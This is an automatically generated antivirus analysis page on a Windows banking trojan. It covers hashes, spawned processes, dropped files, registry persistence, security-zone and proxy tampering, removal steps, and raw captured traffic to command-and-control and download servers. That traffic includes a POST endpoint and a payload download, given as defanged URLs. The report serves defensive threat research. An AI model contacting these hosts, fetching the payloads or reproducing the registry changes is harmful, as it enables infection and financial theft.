Gen.Variant.Graftor.167029_80d6463ee0 – Adaware

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Graftor.167029 (AdAware), Installer.Win32.InnoSetup.FD, Installer.Win32.InnoSetup.2.FD, Trojan-Banker.Win32.Brasil.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Iconomon.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Banker, Trojan, Installer, VirTool

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 80d6463ee0584ed5b6b18fbcbd0f971b

SHA1: 6fe42c9da702f07f822aa48c4fbdf428add2489b

SHA256: 788e062f96d8a39835f5eda8dd2b209ecf21c9bbb1471bccbce06a0ed150cb42

SSDeep: 196608:DwU53n5 j49h2DDDnxGQAKpxGQAK1xGQAK1xGQAKn:ci3n5 j49EDDDn4xKp4xK14xK14xKn

Size: 7240192 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6, BorlandDelphi30, BorlandDelphiv30, ACProtect141

Company: no certificate found

Created at: 2014-12-06 18:57:28

Analyzed on: WindowsXPESX SP3 32-bit

Summary: Banker. Steals data relating to online banking systems, e-payment systems and credit card systems.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

rx-43.exe:208
ServerCore.exe:1844
ping.exe:1156
AppServices.exe:1656
%original file name%.exe:1696

The Trojan injects its code into the following process(es):

%original file name%.exe:1036

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process rx-43.exe:208 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

The Trojan deletes the following file(s):

The process ServerCore.exe:1844 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\1[1].txt (62 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\install1716210[1].exe (894498 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\install1716210.exe (613158 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DLList.txt (62 bytes)

The process AppServices.exe:1656 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Application Installer\ServerCore.exe (19 bytes)

The process %original file name%.exe:1036 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\{C1D79E5C-141A-47F0-9016-7CA2548D27CB}\rx-43.exe (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{B5491021-376D-46B1-86A8-4532E2E499D7}\OptimizerPro.exe (39950 bytes)

Registry activity

The process rx-43.exe:208 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C8 A4 D1 64 2C A3 1C 69 7B 1F A1 4A A9 46 E1 6E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"msiexec.exe" = "WindowsÃƒâ€šÃ‚Â® installer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process ServerCore.exe:1844 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 31 D4 0C 2E 4B C4 12 A3 FF A7 D0 2A 11 65 77"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ping.exe:1156 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 12 03 F7 C5 EA 95 20 2F 77 FA 84 7E 15 94 12"

The process AppServices.exe:1656 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "33 AF AE 88 FB 8B 63 C8 92 DB 2F 01 6F 3D F8 38"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Application Installer]
"ServerCore.exe" = "ServerCore"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ServerCore" = "%Program Files%\Application Installer\ServerCore.exe"

The process %original file name%.exe:1696 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4C 36 A8 3C 7D DD 81 67 81 F9 BD FB 09 59 3F 0F"

The process %original file name%.exe:1036 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\80d6463ee0584ed5b6b18fbcbd0f971b\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B EC 87 90 24 94 BA 28 19 05 76 09 D9 51 4B CA"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\{C1D79E5C-141A-47F0-9016-7CA2548D27CB}]
"rx-43.exe" = "rx-43"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\80d6463ee0584ed5b6b18fbcbd0f971b\DEBUG]
"Trace Level"

Dropped PE files

MD5	File path
8a7c1793d3ce3988e97f8eb8ac97188a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\{C1D79E5C-141A-47F0-9016-7CA2548D27CB}\rx-43.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
rx-43.exe:208
ServerCore.exe:1844
ping.exe:1156
AppServices.exe:1656
%original file name%.exe:1696
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\1[1].txt (62 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\install1716210[1].exe (894498 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\install1716210.exe (613158 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DLList.txt (62 bytes)
%Program Files%\Application Installer\ServerCore.exe (19 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{C1D79E5C-141A-47F0-9016-7CA2548D27CB}\rx-43.exe (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{B5491021-376D-46B1-86A8-4532E2E499D7}\OptimizerPro.exe (39950 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"ServerCore" = "%Program Files%\Application Installer\ServerCore.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	2480984	2481152	4.49274	29b3ebad9bd710c0691bdc9568cf27d4
.itext	2486272	6796	7168	4.26833	4b32988e7278a48adb8b37500c2f27f7
.data	2494464	21940	22016	3.65309	c8f68d165d12f56b33b4ec777c307362
.bss	2519040	22612	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	2543616	14374	14848	3.60524	2296e9518dad6164b50ffa57e7573516
.didata	2560000	2518	2560	2.93251	7a228c2dd7a7c22a566f394a04943485
.tls	2564096	64	0	0	d41d8cd98f00b204e9800998ecf8427e
.rdata	2568192	24	512	0.146134	7e5b18fb16b133c7f5eb9ed19800c05f
.reloc	2572288	233672	233984	4.64686	5499e4f75b96c8d253572af9d65386b0
.rsrc	2809856	4474880	4474880	5.50859	c12e86ddc267f1e33c595e0a868e92ff

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://7d8elkqrpz9cesw.xn--n1aaaglu5c.xn--p1ai/api
hxxp://7d8elkqrpz9cesw.xn--n1aaaglu5c.xn--p1ai/installs/922/ec88a47a.exe
hxxp://a.vipcn8.com/test/1.txt	185.8.106.167
hxxp://a.vipcn8.com/test/install1716210.exe	185.8.106.167

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 853

Host: 7d8elkqrpz9cesw.xn--n1aaaglu5c.xn--p1ai

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}T.n.8....O)j......$m..n.F.M..EAI..%.$-;(........b....q.i....e.*...u...`.J...W%gUZ..X..#]QN.T."A.... ..S.". C$".vV#.".Q.zO....Z.%Q......9.D.Lx.o.<e..g/..:.I...#X.L..y...vJ....&..,9...Z..,...........v.'2s....[.b...e.4..}.n....#....w...!eY......N...:/........9pA.e3.O.G.W4 X#2....... Q.....am..U.@5..f......s3.(' ..(.....Y..A..v....,..g.....q.

....lg..9.7.9|s.I.....s.......n<.....gt.D(..J.<s....S.{.k.t~{.....&...z?l1.=........>r.0hUK..2u.V..8.z.6{.k.

.. .......u.q.._...........>.4fds...e.L.[...i......}G..gh......d.Z..1...w.u/.S.......q.g.|....r.*.....vR....I.X.v86..j.....

.nX..eR...B@..W#..j..$..\.5#\.....s..r....=.}....../.<....#..r.....op......UQ....P......:.7._.AgF hr..T6(......0%>a......e,$..o....b3@..yR...../.....q1.........3...q}.R...D<...G...$

.G..,cE)..q....I..0..p..M0f..p....O.pux^......m#[V.7m.,..M..5P...P.p......._x...

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Thu, 15 Jan 2015 19:09:02 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

.L..x...g..\z%.W...~..EoZ.^.. .tAFps .{.9......#..v!h..7.I.5..9.9....0......J.*...!S2I.......4Is:J.....g6.....?.....J..Y.cQF&).%QB!Y.......$.....y...O..A.._.5f.k./k.....$e..../..ecT|....1...r].?~...E.t.6.<.L.-.......G.(*..H~..HT}....../0...,.....?dg.F..=........^.........Wm.G......8....0'..,.p..0......Q.d`i.;..?......).....l.8.\.....^..?......&....?.g.}..;.W..?..G.....8.=T....Y.......|m0.b.G..}D.......>f....N.[.<..TK..?.....k.w.~...:...._...~...u............i._?...........`.nH.....=.Z.3...__.S......X.u.....G4.{..A.......X(..)..3.....3A...t8L.........a....i......_../...M..16....CG p...u..q.. C....0... ..?.....A..Fh...........y.[v.[..G.....wz...h.~.&.....F...Q.$.8I.,G...S..c_|/.....?.b`....*.W.....s.gU..S5s%./.o.u`...<!...No...e..>v.c../j.X.....b.SJ`.t.d.A.|..p.Rf...2.T.=.x..b,....B.s...6.....P_Q...6p....0.v.~NA.x.*.....z...iT..>..R.9T.b....T........tN.._P.2..m...&.{8...L.&}...........B:...8..3.VPp...}...........&.._D?.zGdw.....U..5.Y.f...f.'.!......7..T.i.T...I#.\q{A..72..:.RO.3..).......W[;../.; I."d..R....o..9.....v.G\@Z.=-..LfH...>.Z.4..P.mM...U>..u.Xi5T"...b..tm. .9....\.|........1{..@69.....e...."...... x..kB....q...F.M.....9....|......".0=..P...#.z*............x.c...L.S..M,...P..VI`.B.....vp(...v.0..t.[F`.MlyzG.B..!.O..].b.....W.....R...,EG......#m.q.0o...~cB....i...K..*.y.#........p9..|.J.0.........G..>V....n...r?.......\jR..%.1...E|..I.ar.zy..M..D.Z..U.9.pR#u....`..~.J.B..O>.[.|L.7>....l......D.^........6.uO1[Cy..k{O..[N.V.....).C.Vv.HW[.......A.[.....B.j,..Z.p..*..?...3.

<<< skipped >>>

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 157

Host: 7d8elkqrpz9cesw.xn--n1aaaglu5c.xn--p1ai

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.-.K..0D..5....{.'q

...H.qw\..o..1....8..JT.X.Dd.:\c..X....0....@.W.....y_. ......i

.b....q.....2#.....(...|.~-BG......z9P....4Z..I..p.R-..../?.7H

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Thu, 15 Jan 2015 19:09:44 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

7...x......0...].. Be...[.o..c..<H...i[.. J....L.......y.....N....

GET /installs/922/ec88a47a.exe HTTP/1.1

Host: 7d8elkqrpz9cesw.xn--n1aaaglu5c.xn--p1ai

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Thu, 15 Jan 2015 19:09:32 GMT

Content-Type: application/octet-stream

Content-Length: 244637

Connection: keep-alive

Last-Modified: Thu, 15 Jan 2015 16:06:34 GMT

ETag: "54b7e58a-3bb9d"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........*...KaU.KaU.KaU.3.U.KaU.3.UHKaU.3.U.KaU.K`U)KaU.3.U.KaU.3.U.KaU.3.U.KaU.3.U.KaURich.KaU................PE..L......S............................ .............@..........................P..........................................3............ ...*..............................................................@............................................text...c........................... ..`.rdata..#P.......R..................@..@.data...............................@....rsrc....*... ...,..................@..@....................................................................................................................................................................................................................................................................................................................................................................................................B......QV...u...h/...E.............$...E..............E.........L....E...~M...M...N@.rM...M.^d........3..|$..rJ.L$..9RuA.|$..r:.y.au4.y.ru..y.!u(.y..u".y..u..I...u.j......u.j......u.j.X.....j...,.....(....P..U....<....t..E...@....E...0....u..E.....E...E.]....D$.V...F..N.;N.v_.F.SUW.l:C...t.;.v.Ph..B.U..R.........Q...F.......D. .N...;.w...S.6.<.....YY..u.....Q...>_].^.[^...V...L$......P..F..V...^.........j..p..p..R......t.P.[...Y..D$.V...F..N.;N.v`.F.SUW.l:C...t.;.v.Ph..B.U.gQ.........Q...F..~..

<<< skipped >>>

POST /api HTTP/1.0

Connection: keep-alive

Content-Length: 849

Host: 7d8elkqrpz9cesw.xn--n1aaaglu5c.xn--p1ai

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

....x.}T.n.8...BO)j......$......g..EQP.(fC.Z..........b...<g8g8Wf).*...&.`.l3V

.Fe.2.2.

Rh6..).D,ZE*.

....T.<".<.J...<..V#.c.S.zO~...Z.%q.._..t.=2.|'.N..)E...G....S............*./.D.t....s#....."a.}....H..i..........D.U.!.bS.Cb..6.#J.uZ.....*...\M......ws.d......J.s.$-..dQ...m............~Z...'.Y..Y*'j..$.........6.....sbh'...5...p

....lg..9.......t.....s.......n:.......V.PF...y.N...S...k.t.....N.f...{?.1.=.$.I....~......}h...0h...s37.V5.8.z.5..[.p......OP.hi.y."..6...{rcE..c.I.P.{ .............{wq...p.. ........Z..#.....m/.......0U.%9*.nq".......A.Qhr..#I)-..S...G.f...XrtC....*.Y...l..`.V.\-...*l.a.....X.$..7K......nO.Z.`....{..|)Gk,..z.K.. ..\.U.s..M........#...:3.A..B.`..m#..cJl....#4.....=...-...n.F.......7.....q..8.b~.#-...e. 4. ...E....y.fk...U....x.R..y..Hi....^..d....^_.:j.......m.....k.Tm*E*.....6.....B.{

.X....tc.#

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Thu, 15 Jan 2015 19:09:01 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/5.4.17

.N..x...g...u%.Wn<E......-...... ..s:...{t..O.K.%.......N...2....k....c..P..q&C"&..<.H..a:Is..S.J..@..?~..y....o.....J..Y.cQF&).%QB!Y.......$......<....h.E.......U..Q.f3.&)......C..Q..4.......u.......?...4X...........O0...,.....?dg..F...kug..EU/T........Wm.G....._p.o....d.Y....0.......v.........|?...X./._.....c.....{S?....l%K.x8.~.....s.z.x.J...{.n....._Se.?O.._.}.......Q...G~=......1....z..y......N.T}.......k..._...[....O.....h.........yk._'...~....?.<gE.]....~..z.{...G.C7.......#~}.>.z?.!_.h.../..5.~....P..K.'W.....g.k....0.._n.e../...7..4..?....._=.....`n`.....V..........GI...X...l.)..........0B#...'...$.l.........{..%....WPEk..7.`DF.4Je...$A.I.g9..0.2....{S>.t..!....3.W).......c<.._... .}.}........i..pz..p,........}RK.2L......R....$...../...2....!...1.S..ci.v!.b..&...,%.....B'...{.v......s...3Py.P...[WwH.b&..h......k.g~.R.&...d>.sr}......n..$69.....fZ0..g..]........Y...i.......... 4.H$.~...\7...$...;". th........25..u1.?..I..w.......HC.r%.H.!.............z...WOq.$f<^_?..1.~...I..!...R.. x._.9G....S8.....i..`2C............lk.W......c.J.....w....k.X...?.....Kx..l..&.......Iw.t9/#.....vn.U]].....Z.......0.n...........[.^..>....q...'0...S)u<(...~.X^.....M.fB...nb..\....J...:%.>...C.......E.{.2..ob..;..*7..|.H...s..% .j.w\...E.g):....@..i....y.^(.......HS.....V9.............9...W.....G.4.W.8....R...p..0...~..?.N.R."....Y\.(..gH.......'o..$...&.Z......s..~.K...Vr..>x.....c....O..f#.x..X&..rO....T....{.....u^.{.7.r....E&.OQ....kF..j.....5.b........Wc.w.r.{.Pi...>,.I....Jw.

<<< skipped >>>

GET /test/1.txt HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

